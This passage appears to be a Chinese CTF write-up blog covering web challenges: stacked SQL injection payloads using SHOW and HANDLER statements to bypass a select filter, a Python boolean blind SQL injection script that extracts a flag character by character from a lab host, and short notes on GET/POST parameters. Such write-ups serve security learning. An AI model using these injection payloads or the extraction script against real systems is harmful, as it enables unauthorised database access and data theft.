但是后面的联合查询绕不过,和前面的supersqli一样用堆叠注入

1’;show databases;#

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-B9ecvMSO-1669777517511)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1669290304712.png)]

这里查出来了数据库

1’;show tables from supersqli;#

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TKg4ZJg7-1669777517511)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1669290482783.png)]

1’;show columns from FlagHere;#

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-S98FQVBV-1669777517511)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1669290737561.png)]

这里查到了字段里面有flag

这里select被过滤了,需要用一个新的可以代替select的东西叫handler

mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
HANDLER语句提供通往表的直接通道的存储引擎接口,可以用于MyISAM和InnoDB表。

    基本语法:
HANDLER tbl_name OPEN [ [AS] alias]
 
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]
 
HANDLER tbl_name CLOSE

    通过HANDLER tbl_name OPEN打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。
    通过HANDLER tbl_name READ FIRST获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。
    通过HANDLER tbl_name CLOSE来关闭打开的句柄。

    通过索引去查看的话可以按照一定的顺序,获取表中的数据。
    通过HANDLER tbl_name READ index_name FIRST,获取句柄第一行(索引最小的一行),NEXT获取下一行,PREV获取前一行,LAST获取最后一行(索引最大的一行)。

    通过索引列指定一个值,可以指定从哪一行开始。
    通过HANDLER tbl_name READ index_name = value,指定从哪一行开始,通过NEXT继续浏览。

    如果我们不想浏览一个表的所有行,可以使用where和limit子句。

1’;handler FlagHere open;handler FlagHere read first;handler FlagHere close;#

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7DdPtTxl-1669777517512)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1669291286814.png)]

其实就是select 不可以用但是非用不可的时候就用这个handler

[CISCN2019 华北赛区 Day2 Web1]Hack World

布尔盲注,这个一般的返回得是true或者false,非正即负,这里就是HELLO或者 Error ,利用这个报错写脚本

# import requests
# import time
 
# rest = ""  # 要提前设置
# url = "http://202c6d64-010a-4fdd-b6b7-5ddfc98c2f2b.node4.buuoj.cn:81/"
# payload = {"id": ""}
# #python字典前面的id是键,后面的是键值
# for i in range(1, 100):
#     begin = 33
#     end = 130
#     middle = (begin+end) >> 1  # 记得加括号  结果就是对begin+end除以2取整数
#     while begin < end:
#         payload["id"] = "0^(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i, middle)  # {0}{1}表示第一个传入的参数和第二个传入的参数
#         resp = requests.post(url, data=payload)  # data传入的必须是一个字典
#         if "Hello" in resp.text:
#             begin = middle + 1
#         else:
#             end = middle
#         middle = (begin + end) >> 1#重新对middle赋值
#         time.sleep(0.5)
#     if chr(middle) == " ":
#         break
#     rest += chr(middle)#返回值是当前整数对应的 ASCII 字符
#     print(rest)
# print(rest)
import requests
import re
 
url = 'http://202c6d64-010a-4fdd-b6b7-5ddfc98c2f2b.node4.buuoj.cn:81/index.php'  # 路径
buu = ''  # 记录flag
 
for i in range(1, 50):  # flag的字符数量
    for j in range(32, 140):  # 可打印出得所有字符的asii码值
        # 构造payload,对flag的值进行遍历,i为位数,j为遍历集,{0}和{1}分别为占位指针,{0}对应i,{1}对应j
        payload = "if((ascii(substr((select(flag)from(flag)),{0},1))={1}),1,0)".format(i, j)
        #subter是在select(flag)from(flag)去在{0}也就是i的位置去截出来一个字符,然后和{1}也就是j去比较然后得到ture或者是false接着在if表达式里面判断ture就是1,false是0
        #这个是发到数据库里面所以也就是sql语法就好了
        data = {
   "id": payload}  # 构造参数对象
        res = requests.post(url=url, data=data)  # 请求
        # 进行验证和记录flag
        if 'Hello' in res.text:
            buu = buu + chr(j)
            print(i)
            print(buu)
            break  # 跳出一层循环

都在脚本里面了

get和post传参

[SWPUCTF 2021 新生赛]jicao

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RM0Tubm7-1669777517512)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1663515033226.png)]

这个题目是get和post传参。get和post传参的区别就是在于get是在url后面直接加,post在数据体中加,但是get方式可以传的东西就有限制,少一些。

这道题目的难点就是在于一个json的传参,这个相当一个表,记住这个传参方式就好了。

[SWPUCTF 2021 新生赛]easy_md5

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NIkpMonP-1669777517512)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1663515404690.png)]

这道题目也是考一个get和post传参,这里记住一个点get传参的时候是打?的,而遍历文件目录的时候不需要。好了这个都是题外话。

你可能感兴趣的:(web)